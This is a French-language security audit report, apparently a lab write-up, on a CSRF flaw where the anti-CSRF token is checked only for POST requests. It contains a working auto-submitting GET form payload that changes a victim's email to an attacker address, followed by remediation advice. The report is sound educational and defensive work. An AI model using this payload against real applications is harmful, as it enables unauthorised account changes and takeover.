

Rapport d'Audit de Sécurité

1. Résumé Exécutif

Cible :	Laboratoire : CSRF où la validation du jeton dépend de la méthode de requête
Vulnérabilité :	Défaut de conception dans la vérification du jeton anti-CSRF (contournement via la modification de la méthode HTTP POST en GET).
Niveau de Risque :	ÉLEVÉ (HIGH)
Impact :	Modification non autorisée des données utilisateur (compte de la victime) par basculement vers une requête de type GET non protégée.

2. Description de la Vulnérabilité

L'application implémente un mécanisme de défense anti-CSRF basé sur un jeton secret (paramètre `csrf`). Cependant, ce mécanisme souffre d'une faille de logique métier : la validation rigoureuse du jeton n'est appliquée que lorsque la requête HTTP utilise la méthode `POST` .

Si la requête est transmise via la méthode `GET` , le code de validation du jeton est omis ou contourné par l'application backend. Un attaquant peut ainsi exploiter cette faiblesse en convertissant l'attaque CSRF en une requête GET (par exemple via un lien piégé ou un formulaire GET auto-soumis), neutralisant complètement la protection anti-CSRF.

3. Preuve de Concept (PoC) & Étapes de Réalisation

Étape 1 - Analyse Repeater : Observation dans Burp Repeater du rejet de la requête POST lorsque le jeton `csrf` est altéré, confirmant sa présence initiale.

Étape 2 - Test de contournement (Changement de méthode) : Conversion de la requête POST en `GET` dans Burp Repeater. Constat que le changement d'e-mail est accepté par le serveur sans vérification du jeton.

Étape 3 - Rédaction du payload d'exploitation (Méthode GET) :

```
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="GET">
  <input type="hidden" name="email" value="attacker-csrf@exploit-server.net">
</form>
<script>
  document.forms[0].submit();
</script>
```

Étape 4 - Hébergement et Livraison : Publication du code sur l'Exploit Server et transmission du lien piégé au bot de la victime pour valider l'exploit.

4. Recommandations de Remédiation

- **Validation unifiée des méthodes :** Appliquer la vérification du jeton anti-CSRF indépendamment de la méthode HTTP utilisée (POST, GET, PUT, etc.), ou restreindre strictement l'endpoint sensible à la méthode POST.
- **Restructuration des endpoints :** Les actions modifiant des données critiques (comme un changement d'e-mail ou de mot de passe) ne doivent en aucun cas être traitées via des requêtes de type GET.
- **Utilisation des en-têtes et Cookies sécurisés :** Déployer des attributs stricts sur les cookies de session (`SameSite=Strict/Lax`).

5. Conclusion

Ce laboratoire démontre qu'une protection anti-CSRF mal configurée ou liée à une méthode HTTP spécifique peut facilement être contournée. Une sécurisation efficace nécessite une validation globale et systématique des jetons pour toutes les requêtes modifiant l'état de l'application.